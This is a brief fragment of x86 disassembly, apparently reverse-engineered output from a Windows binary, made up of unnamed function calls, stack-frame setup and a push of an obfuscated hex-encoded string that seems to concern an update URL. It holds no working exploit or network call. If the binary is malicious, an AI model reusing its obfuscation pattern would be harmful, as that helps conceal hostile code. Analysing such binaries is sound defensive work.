call fcn.004020d0
lea ecx, [ebp - 0x368]
call fcn.004020d0
lea ecx, [ebp - 0x334]
call fcn.004020d0
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x69
call fcn.004020d0
push ecx
mov ecx, esp
push str.ddf6fbfdf5dfebeaf1cbeefaffeafbcbecf2c1ebecf2c1f0ffc1f8f1ecc1ebeefaffeafb
call fcn.00402020
lea ecx, [ebp - 0x354]
call fcn.00428e50
add esp, 4
mov esi, eax
lea ecx, [ebp - 0x340]
call fcn.00402000
push esi
mov edx, eax
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 0x7e
call fcn.00421a70
add esp, 4
mov byte [ebp - 4], 0x7f
jmp 0x41a8b5